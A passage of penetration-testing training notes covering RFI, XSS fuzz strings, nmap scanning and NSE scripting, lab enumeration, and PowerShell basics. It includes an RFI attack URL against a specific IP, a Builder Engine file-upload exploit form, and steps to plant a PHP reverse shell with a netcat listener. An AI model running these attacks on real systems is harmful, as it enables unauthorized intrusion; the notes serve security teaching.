  827. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  828. -------------------------------------------------------------------------------------
  829.  
  830. - Now we can attack the target via RFI like this:
  831. -------------------------Paste this into Firefox-----------------------------------
  832. http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  833. -------------------------------------------------------------------------------------
  834.  
  835.  
  836.  
  837. ###############################
  838. # How much fuzzing is enough? #
  839. ###############################
  840. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  841.  
  842. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  843.  
  844.  
  845. Step 1: Ask yourself the 3 questions per page of the site.
  846.  
  847. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  848.  
  849. Step 3: When you load your fuzz strings - use the following decision tree
  850.  
  851. - Are the fuzz strings causing a default error message (example 404)?
  852. - If this is the case then it is most likely NOT vulnerable
  853.  
  854. - Are the fuzz strings causing a WAF or LB custom error message?
  855. - If this is the case then you need to find an encoding method to bypass
  856.  
  857.  
  858. - Are the fuzz strings causing an error message that discloses the backend type?
  859. - If yes, then identify DB type and find correct syntax to successfully exploit
  860. - Some example strings that I use are:
  861. '
  862. "
  863. () <----- Take the parameter value and put it in parenthesis
  864. (5-1) <----- See if you can perform an arithmetic function
  865.  
  866.  
  867. - Are the fuzz strings rendering executable code?
  868. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  869. - Some example strings that I use are:
  870. <b>hello</b>
  871. <u>hello</u>
  872. <script>alert(123);</script>
  873. <script>alert(xss);</script>
  874. <script>alert('xss');</script>
  875. <script>alert("xss");</script>
  876.  
  877.  
  878. ###############################################################
  879. # Question 1: What is the process that you use when you test? #
  880. ###############################################################
  881.  
  882. Step 1: Automated Testing
  883.  
  884. Step 1a: Web Application vulnerability scanners
  885. -----------------------------------------------
  886. - Run two (2) unauthenticated vulnerability scans against the target
  887. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  888. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  889.  
  890. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  891.  
  892. A good web application vulnerability scanner comparison website is here:
  893. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  894.  
  895.  
  896. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  897.  
  898. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  899.  
  900.  
  901. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  902.  
  903.  
  904. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  905.  
  906.  
  907.  
  908. Step 1b: Directory Brute Forcer
  909. -------------------------------
  910. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  911.  
  912.  
  913.  
  914. Step 2: Manual Testing
  915.  
  916. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  917.  
  918. Step 2a: Spider/Scan the entire site with Burp Suite
  919. Save the spider and scan results. I usually provide this data to the customer as well.
  920.  
  921.  
  922. Step 2b: Browse through the site using the 3 question method
  923. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  924.  
  925. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  926.  
  927. Here is what I mean:
  928. http://www.site.com/page.aspx?parametername=parametervalue
  929.  
  930. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  931.  
  932. http://www.site.com/page.aspx?parametername=[ payload ]
  933.  
  934. You need to ensure that you send the payload this way, and like this below:
  935.  
  936. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  937.  
  938. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  939.  
  940.  
  941.  
  942.  
  943.  
  944.  
  945.  
  946. ###########################################
  947. # Question 2: How much fuzzing is enough? #
  948. ###########################################
  949. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  950.  
  951. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  952.  
  953.  
  954. Step 1: Ask yourself the 3 questions per page of the site.
  955.  
  956. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  957.  
  958. Step 3: When you load your fuzz strings - use the following decision tree
  959.  
  960. - Are the fuzz strings causing a default error message (example 404)?
  961. - If this is the case then it is most likely NOT vulnerable
  962.  
  963. - Are the fuzz strings causing a WAF or LB custom error message?
  964. - If this is the case then you need to find an encoding method to bypass
  965.  
  966.  
  967. - Are the fuzz strings causing an error message that discloses the backend type?
  968. - If yes, then identify DB type and find correct syntax to successfully exploit
  969. - Some example strings that I use are:
  970. '
  971. "
  972. () <----- Take the parameter value and put it in parenthesis
  973. (5-1) <----- See if you can perform an arithmetic function
  974.  
  975.  
  976. - Are the fuzz strings rendering executable code?
  977. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  978. - Some example strings that I use are:
  979. <b>hello</b>
  980. <u>hello</u>
  981. <script>alert(123);</script>
  982. <script>alert(xss);</script>
  983. <script>alert('xss');</script>
  984. <script>alert("xss");</script>
  985.  
  986.  
  987.  
  988.  
  989.  
  990.  
  991.  
  992. -------------------------------------------------------------------------------------------
  993. OWASP Top 10 Video Explanations
  994.  
  995. Burp Suite Reference:
  996. https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten
  997.  
  998. A1: Injection Vulnerabilities
  999. https://www.youtube.com/watch?v=9CnpHT5Nn8c&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
  1000.  
  1001.  
  1002. A2: Broken Authentication and Session Management
  1003. https://www.youtube.com/watch?v=R1iGRBG3PJ8&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=2
  1004.  
  1005. A3: Cross Site Scripting (XSS)
  1006. https://www.youtube.com/watch?v=90XT0j5E7xo&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=4
  1007.  
  1008. A4: Insecure Direct Object Reference
  1009. https://www.youtube.com/watch?v=bMYpGj2xzpM&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=5
  1010.  
  1011.  
  1012. A5: Security Misconfiguration
  1013. https://www.youtube.com/watch?v=ouuXu9_UM0w&index=7&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
  1014.  
  1015.  
  1016. A6: Sensitive Data Exposure
  1017. https://www.youtube.com/watch?v=x-B8I420x7Y&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=8
  1018.  
  1019.  
  1020. A7: Missing Function Level Access Control and A8 Cross-Site Request Forgery (CSRF)
  1021. https://www.youtube.com/watch?v=gf6cb7MnP-c&index=9&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
  1022.  
  1023. A9 Using Components w/ Known Vulnerabilities & A10 Unvalidated Redirects and Forwards
  1024. https://www.youtube.com/watch?v=WqlSl-Pc1vk&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=10
  1025.  
  1026.  
  1027.  
  1028. ###########################
  1029. ----------- ############### # Day 3: Attack Lab Hosts # ############### -----------
  1030. ###########################
  1031.  
  1032. To connect to the VPN open a web browser on your host machine (not your virtual machine) and go to the following URL:
  1033. https://54.245.178.32/?src=connect
  1034.  
  1035.  
  1036. Accept the security exception and enter one of the following user names:
  1037.  
  1038. hca001
  1039. hca002
  1040. hca003
  1041. hca004
  1042. hca005
  1043. hca006
  1044. hca007
  1045. hca008
  1046. hca009
  1047. hca010
  1048. hca011
  1049. hca012
  1050. hca013
  1051. hca014
  1052. hca015
  1053. hca016
  1054. hca017
  1055. hca018
  1056. hca019
  1057.  
  1058.  
  1059. password: *************
  1060.  
  1061.  
  1062. target network range: 172.31.2.0/24
  1063.  
  1064.  
  1065.  
  1066.  
  1067. ##############################
  1068. # Scanning Process to follow #
  1069. ##############################
  1070.  
  1071. Step 1: Host Discovery
  1072. ----------------------
  1073.  
  1074. ---------------------------Type This-----------------------------------
  1075. nmap -sP 172.31.2.0/24
  1076.  
  1077. nmap -sL 172.31.2.0/24
  1078.  
  1079. nmap -sS --open -p 22,445 172.31.2.0/24
  1080.  
  1081.  
  1082. cd ~/toolz
  1083. wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
  1084. gcc propecia.c -o propecia
  1085. sudo cp propecia /bin
  1086.  
  1087. propecia 172.31.2 22 > file1
  1088. propecia 172.31.2 445 > file2
  1089. cat file1 file2 > file3
  1090. cat file3 | sort -t . -k 3,3n -k 4,4n | uniq > lab.txt
  1091. cat lab.txt
  1092. -----------------------------------------------------------------------
  1093.  
  1094.  
  1095.  
  1096.  
  1097. Step 2: Service Discovery
  1098. -------------------------
  1099. nmap -sS <IP-ADDRESS>
  1100. nmap -sU -p 69,161 <IP-ADDRESS>
  1101.  
  1102.  
  1103. ---------------------------Type This-----------------------------------
  1104. sudo nmap -sS 172.31.2.0/24
  1105. sudo nmap -sU -p 69,161 172.31.2.0/24
  1106. -----------------------------------------------------------------------
  1107.  
  1108.  
  1109.  
  1110. Step 3: Service Version Discovery
  1111. ---------------------------------
  1112. nmap -sV <IP-ADDRESS>
  1113. nmap -sV -p- <IP-ADDRESS>
  1114. |
  1115. ----> Vulnerability Research
  1116.  
  1117. ---------------------------Type This-----------------------------------
  1118. sudo nmap -sV 172.31.2.0/24
  1119. -----------------------------------------------------------------------
  1120.  
  1121. Step 4: Enumerate common Windows/Linux file sharing services
  1122. Step 3 is where most people STOP, and you need to move on and look deeper
  1123. ------------------------------------------------------------
  1124.  
  1125. ---------------------------Type This-----------------------------------
  1126. cd ~/toolz
  1127. sudo apt install smbclient libnss-winbind winbind
  1128. git clone https://github.com/portcullislabs/enum4linux.git
  1129. cd enum4linux/
  1130. perl enum4linux.pl -U 172.31.2.11
  1131.  
  1132. nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 172.31.2.86
  1133. ---------------------------------------------------------------------------------------
  1134.  
  1135.  
  1136.  
  1137.  
  1138.  
  1139.  
  1140.  
  1141. Identify webservers
  1142. -------------------
  1143. ---------------------------Type This-----------------------------------
  1144. cd ~
  1145.  
  1146. propecia 172.31.2 22
  1147.  
  1148. propecia 172.31.2 80
  1149.  
  1150. propecia 172.31.2 443
  1151.  
  1152. propecia 172.31.2 3389
  1153.  
  1154. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | grep open
  1155.  
  1156. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2 " " $3}'
  1157.  
  1158. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}' | wc -l
  1159.  
  1160. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}'
  1161.  
  1162. nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
  1163.  
  1164. cat ~/labnet-ip-list.txt
  1165. ---------------------------------------------------------------------------------------
  1166.  
  1167.  
  1168. #################################################
  1169. # Screenshotting the Web Servers in the Network #
  1170. #################################################
  1171.  
  1172. ---------------------------Type This-----------------------------------
  1173. cd ~/toolz/
  1174. mkdir labscreenshots
  1175. cd labscreenshots/
  1176.  
  1177.  
  1178. wget https://s3.amazonaws.com/infosecaddictsfiles/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
  1179. tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
  1180. cd wkhtmltox/bin/
  1181. sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
  1182.  
  1183.  
  1184. cd ~/toolz/
  1185. git clone git://github.com/SpiderLabs/Nmap-Tools.git
  1186. cd Nmap-Tools/NSE/
  1187.  
  1188. sudo cp http-screenshot.nse /usr/share/nmap/scripts/
  1189. strategicsec
  1190.  
  1191. sudo nmap --script-updatedb
  1192. strategicsec
  1193.  
  1194.  
  1195. cd ~/toolz/labscreenshots/
  1196. sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 172.31.2.0/24 -iL ~/labnet-ip-list.txt
  1197. strategicsec
  1198. ---------------------------------------------------------------------------------------
  1199.  
  1200.  
  1201. ---------------------------Type This-----------------------------------
  1202. nano screenshots.sh
  1203. ---------------------------------------------------------------------------------------
  1204.  
  1205. ---------------------------Paste This into the file screenshots.sh-----------------------------------
  1206. #!/bin/bash
  1207. printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
  1208. ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
  1209. printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
  1210. ---------------------------------------------------------------------------------------
  1211.  
  1212.  
  1213.  
  1214. ---------------------------Type This-----------------------------------
  1215. chmod +x screenshots.sh
  1216.  
  1217. sh screenshots.sh
  1218.  
  1219. python -m SimpleHTTPServer
  1220. ---------------------------------------------------------------------------------------
  1221.  
  1222. --- Now browse to the IP of your Linux machine on port 8000 (http://Ubuntu-VM-IP:8000/labnet-port-80-screenshots.html):
  1223. http://192.168.150.131:8000/labnet-port-80-screenshots.html
  1224.  
  1225.  
  1226.  
  1227.  
  1228. ##########################
  1229. # Nmap NSE tricks to try #
  1230. ##########################
  1231. ---------------------------Type This-----------------------------------
  1232. sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.0/24
  1233. strategicsec
  1234.  
  1235. sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 172.31.2.0/24
  1236. strategicsec
  1237.  
  1238. sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 172.31.2.0/24
  1239. strategicsec
  1240.  
  1241. sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 172.31.2.0/24
  1242. strategicsec
  1243.  
  1244. sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 172.31.2.0/24
  1245. strategicsec
  1246.  
  1247. sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 172.31.2.0/24
  1248. strategicsec
  1249.  
  1250. sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 172.31.2.0/24
  1251. strategicsec
  1252.  
  1253. sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 172.31.2.0/24
  1254. strategicsec
  1255.  
  1256. sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 172.31.2.0/24
  1257. strategicsec
  1258.  
  1259. sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 172.31.2.0/24
  1260. strategicsec
  1261.  
  1262. sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 172.31.2.0/24
  1263. strategicsec
  1264.  
  1265. sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 172.31.2.0/24
  1266. strategicsec
  1267.  
  1268.  
  1269. sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 172.31.2.0/24
  1270. strategicsec
  1271. ---------------------------------------------------------------------------------------
  1272.  
  1273.  
  1274.  
  1275.  
  1276.  
  1277.  
  1278. Vulnerability scan the webserver ports
  1279. ---------------------------Type This-----------------------------------
  1280. cd ~/toolz/
  1281.  
  1282. rm -rf nikto*
  1283.  
  1284. git clone https://github.com/sullo/nikto.git Nikto2
  1285.  
  1286. cd Nikto2/program
  1287.  
  1288. perl nikto.pl -h 172.31.2.86
  1289.  
  1290. perl nikto.pl -h 172.31.2.86:8080
  1291. -----------------------------------------------------------------------
  1292.  
  1293.  
  1294.  
  1295.  
  1296.  
  1297. Step 4: Perform directory bruteforce against the target host
  1298. ---------------------------Type This-----------------------------------
  1299. wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
  1300.  
  1301. perl Webr00t.pl -h 172.31.2.86 -v
  1302. -----------------------------------------------------------------------
  1303.  
  1304.  
  1305.  
  1306. or with dirbuster (dirb)
  1307.  
  1308.  
  1309.  
  1310.  
  1311. ---------------------------Type This-----------------------------------
  1312. cd ~/toolz
  1313.  
  1314. git clone https://github.com/v0re/dirb.git
  1315.  
  1316. cd dirb/
  1317.  
  1318. ./configure
  1319.  
  1320. make
  1321.  
  1322. dirb
  1323.  
  1324. ./dirb http://172.31.2.86 wordlists/big.txt
  1325. -----------------------------------------------------------------------
  1326.  
  1327. ### dirb output ###
  1328. ==> DIRECTORY: http://172.31.2.86/blocks/
  1329. ==> DIRECTORY: http://172.31.2.86/files/
  1330. ==> DIRECTORY: http://172.31.2.86/modules/
  1331. ==> DIRECTORY: http://172.31.2.86/system/
  1332. ==> DIRECTORY: http://172.31.2.86/themes/
  1333.  
  1334. + http://172.31.2.86/robots.txt (CODE:200|SIZE:36)
  1335. + http://172.31.2.86/server-status (CODE:403|SIZE:291)
  1336. ### dirb output ###
  1337.  
  1338.  
  1339.  
  1340.  
  1341.  
  1342. Browsed each of the directories and found that inside of the /themes folder contained the vulnerable application Builder Engine 3.5.0
  1343.  
  1344. An exploit for this application can be found at:
  1345. https://www.exploit-db.com/exploits/40390/
  1346.  
  1347.  
  1348.  
  1349.  
  1350.  
  1351. -------------------save this a "BuilderEngine.html"-------------------
  1352. <html>
  1353. <body>
  1354. <form method="post" action="http://172.31.2.86/themes/dashboard/assets/plugins/jquery-file-upload/server/php/"
  1355.  
  1356. enctype="multipart/form-data">
  1357. <input type="file" name="files[]" />
  1358. <input type="submit" value="send" />
  1359. </form>
  1360. </body>
  1361. </html>
  1362. -----------------------------------------------------------------------
  1363.  
  1364.  
  1365. Download this webshell (http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz) to your local machine.
  1366.  
  1367. Change the IP address in the source code of the webshell to another server in the lab network that you have root access to.
  1368.  
  1369. On the other server run:
  1370. nc -lvp 1234
  1371.  
  1372. Then upload the pentestmonkey reverseshell to .86
  1373.  
  1374. ============================================ Attacking another server because I need a reverse shell =========================================
  1375.  
  1376.  
  1377. #####################################
  1378. # Writing Your Own Nmap NSE Scripts #
  1379. #####################################
  1380.  
  1381.  
  1382. ---------------------------Type This-----------------------------------
  1383. sudo nano /usr/share/nmap/scripts/intro-nse.nse
  1384. ----------------------------------------------------------------------
  1385.  
  1386. ---------------------------Paste This into the file intro-nse.nse-----------------------------------
  1387. -- The Head Section --
  1388. -- The Rule Section --
  1389. portrule = function(host, port)
  1390. return port.protocol == "tcp"
  1391. and port.number == 80
  1392. and port.state == "open"
  1393. end
  1394.  
  1395. -- The Action Section --
  1396. action = function(host, port)
  1397. return "HCA!"
  1398. end
  1399. ----------------------------------------------------------------------
  1400.  
  1401. - Ok, now that we've made that change let's run the script
  1402. ---------------------------Type This-----------------------------------
  1403. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
  1404. ----------------------------------------------------------------------
  1405.  
  1406.  
  1407.  
  1408.  
  1409.  
  1410. ---------------------------Type This-----------------------------------
  1411. sudo nano /usr/share/nmap/scripts/intro-nse.nse
  1412. ----------------------------------------------------------------------
  1413.  
  1414. ---------------------------Paste This into the file intro-nse.nse-----------------------------------
  1415. -- The Head Section --
  1416. local shortport = require "shortport"
  1417.  
  1418. -- The Rule Section --
  1419. portrule = shortport.http
  1420.  
  1421.  
  1422. -- The Action Section --
  1423. action = function(host, port)
  1424. return "HCA!"
  1425. end
  1426. ----------------------------------------------------------------------
  1427.  
  1428. - Ok, now that we've made that change let's run the script
  1429. ---------------------------Type This-----------------------------------
  1430. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
  1431. ----------------------------------------------------------------------
  1432.  
  1433.  
  1434.  
  1435.  
  1436.  
  1437.  
  1438. OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
  1439.  
  1440. ---------------------------Type This-----------------------------------
  1441. sudo nano /usr/share/nmap/scripts/intro-nse.nse
  1442. ----------------------------------------------------------------------
  1443.  
  1444. ---------------------------Paste This into the file intro-nse.nse-----------------------------------
  1445. -- The Head Section --
  1446. local shortport = require "shortport"
  1447. local http = require "http"
  1448.  
  1449. -- The Rule Section --
  1450. portrule = shortport.http
  1451.  
  1452. -- The Action Section --
  1453. action = function(host, port)
  1454.  
  1455. local uri = "/installing-metasploit-in-ubunt/"
  1456. local response = http.get(host, port, uri)
  1457. return response.status
  1458.  
  1459. end
  1460. ----------------------------------------------------------------------
  1461.  
  1462. - Ok, now that we've made that change let's run the script
  1463. ---------------------------Type This-----------------------------------
  1464. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
  1465. ----------------------------------------------------------------------
  1466.  
  1467.  
  1468.  
  1469. ---------------------------Type This-----------------------------------
  1470. sudo nano /usr/share/nmap/scripts/intro-nse.nse
  1471. ----------------------------------------------------------------------
  1472.  
  1473. ---------------------------Paste This into the file intro-nse.nse-----------------------------------
  1474. -- The Head Section --
  1475. local shortport = require "shortport"
  1476. local http = require "http"
  1477.  
  1478. -- The Rule Section --
  1479. portrule = shortport.http
  1480.  
  1481. -- The Action Section --
  1482. action = function(host, port)
  1483.  
  1484. local uri = "/installing-metasploit-in-ubunt/"
  1485. local response = http.get(host, port, uri)
  1486.  
  1487. if ( response.status == 200 ) then
  1488. return response.body
  1489. end
  1490.  
  1491. end
  1492. ----------------------------------------------------------------------
  1493.  
  1494. - Ok, now that we've made that change let's run the script
  1495. ---------------------------Type This-----------------------------------
  1496. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
  1497. ----------------------------------------------------------------------
  1498.  
  1499.  
  1500.  
  1501.  
  1502.  
  1503.  
  1504.  
  1505.  
  1506. ---------------------------Type This-----------------------------------
  1507. sudo nano /usr/share/nmap/scripts/intro-nse.nse
  1508. ----------------------------------------------------------------------
  1509.  
  1510. ---------------------------Paste This into the file intro-nse.nse-----------------------------------
  1511. -- The Head Section --
  1512. local shortport = require "shortport"
  1513. local http = require "http"
  1514. local string = require "string"
  1515.  
  1516. -- The Rule Section --
  1517. portrule = shortport.http
  1518.  
  1519. -- The Action Section --
  1520. action = function(host, port)
  1521.  
  1522. local uri = "/installing-metasploit-in-ubunt/"
  1523. local response = http.get(host, port, uri)
  1524.  
  1525. if ( response.status == 200 ) then
  1526. local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
  1527. return title
  1528. end
  1529.  
  1530. end
  1531. ----------------------------------------------------------------------
  1532.  
  1533. - Ok, now that we've made that change let's run the script
  1534. ---------------------------Type This-----------------------------------
  1535. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
  1536. ----------------------------------------------------------------------
  1537.  
  1538.  
  1539.  
  1540.  
  1541.  
  1542.  
  1543. ---------------------------Type This-----------------------------------
  1544. sudo nano /usr/share/nmap/scripts/intro-nse.nse
  1545. ----------------------------------------------------------------------
  1546.  
  1547. ---------------------------Paste This into the file intro-nse.nse-----------------------------------
  1548. -- The Head Section --
  1549. local shortport = require "shortport"
  1550. local http = require "http"
  1551. local string = require "string"
  1552.  
  1553. -- The Rule Section --
  1554. portrule = shortport.http
  1555.  
  1556. -- The Action Section --
  1557. action = function(host, port)
  1558.  
  1559. local uri = "/installing-metasploit-in-ubunt/"
  1560. local response = http.get(host, port, uri)
  1561.  
  1562. if ( response.status == 200 ) then
  1563. local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
  1564.  
  1565. if (title) then
  1566. return "Vulnerable"
  1567. else
  1568. return "Not Vulnerable"
  1569. end
  1570. end
  1571. end
  1572.  
  1573. ----------------------------------------------------------------------
  1574.  
  1575. - Ok, now that we've made that change let's run the script
  1576. ---------------------------Type This-----------------------------------
  1577. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
  1578. ----------------------------------------------------------------------
  1579.  
  1580.  
  1581.  
  1582. #####################
  1583. # Powershell Basics #
  1584. #####################
  1585.  
  1586. PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
  1587.  
  1588. PowerShell file extension end in .ps1 .
  1589.  
  1590. An important note is that you cannot double click on a PowerShell script to execute it.
  1591.  
  1592. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
  1593.  
  1594. ------------------------Type This------------------------------
  1595. cd c:\
  1596. dir
  1597. cd
  1598. ls
  1599. ---------------------------------------------------------------
  1600.  
  1601.  
  1602. To obtain a list of cmdlets, use the Get-Command cmdlet
  1603. ------------------------Type This------------------------------
  1604. Get-Command
  1605. ---------------------------------------------------------------
  1606.  
  1607.  
  1608. You can use the Get-Alias cmdlet to see a full list of aliased commands.
  1609. ------------------------Type This------------------------------
  1610. Get-Alias
  1611. ---------------------------------------------------------------
  1612.  
  1613.  
  1614. Don't worry you won't blow up your machine with Powershell
  1615. ------------------------Type This------------------------------
  1616. Get-Process | stop-process Don't press [ ENTER ] What will this command do?
  1617. Get-Process | stop-process -whatif
  1618. ---------------------------------------------------------------
  1619.  
  1620. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
  1621. ------------------------Type This------------------------------
  1622. Get-Help Get-Command
  1623.  
  1624. Get-Help Get-Service –online
  1625.  
  1626. Get-Service -Name TermService, Spooler
  1627.  
  1628. Get-Service –N BITS
  1629. ---------------------------------------------------------------
  1630.  
  1631.  
  1632.  
  1633.  
  1634.  
  1635. - Run cmdlet through a pie and refer to its properties as $_
  1636. ------------------------Type This------------------------------
  1637. Get-Service | where-object { $_.Status -eq "Running"}
  1638. ---------------------------------------------------------------
  1639.  
  1640.  
  1641.  
  1642. - PowerShell variables begin with the $ symbol. First lets create a variable
  1643. ------------------------Type This------------------------------
  1644. $serv = Get-Service –N Spooler
  1645. ---------------------------------------------------------------
  1646.  
  1647. To see the value of a variable you can just call it in the terminal.
  1648. ------------------------Type This------------------------------
  1649. $serv
  1650.  
  1651. $serv.gettype().fullname
  1652. ---------------------------------------------------------------
  1653.  
  1654.  
  1655. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
  1656. ------------------------Type This------------------------------
  1657. $serv | Get-Member
  1658.  
  1659. Get-Member -InputObject $serv
  1660. ---------------------------------------------------------------
  1661.  
  1662.  
  1663.  
  1664.  
  1665. Let's use a method and a property with our object.
  1666. ------------------------Type This------------------------------
  1667. $serv.Status
  1668. $serv.Stop()
  1669. $serv.Refresh()
  1670. $serv.Status
  1671. $serv.Start()
  1672. $serv.Refresh()
  1673. $serv.Status
  1674. ---------------------------------------------------------------
  1675.  
  1676.  
  1677. If you want some good command-line shortcuts you can check out the following link:
  1678. https://technet.microsoft.com/en-us/library/ff678293.aspx
  1679.  
  1680. #############################
  1681. # Simple Event Log Analysis #
  1682. #############################
  1683.  
  1684. Step 1: Dump the event logs
  1685. ---------------------------
  1686. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
  1687.  
  1688. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
  1689. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
  1690. ------------------------Type This------------------------------
  1691. Get-EventLog -LogName application | Export-Clixml Applog.xml
  1692.  
  1693. type .\Applog.xml
  1694.  
  1695. $logs = "system","application","security"
  1696. ---------------------------------------------------------------
  1697.  
  1698.  
  1699. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
  1700. ------------------------Type This------------------------------
  1701. $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
  1702. ---------------------------------------------------------------
  1703.  
  1704.  
  1705.  
  1706.  
  1707. Step 2: Import the event log of interest
  1708. ----------------------------------------
  1709. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
  1710. Store the results in a variable.
  1711. Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
  1712.  
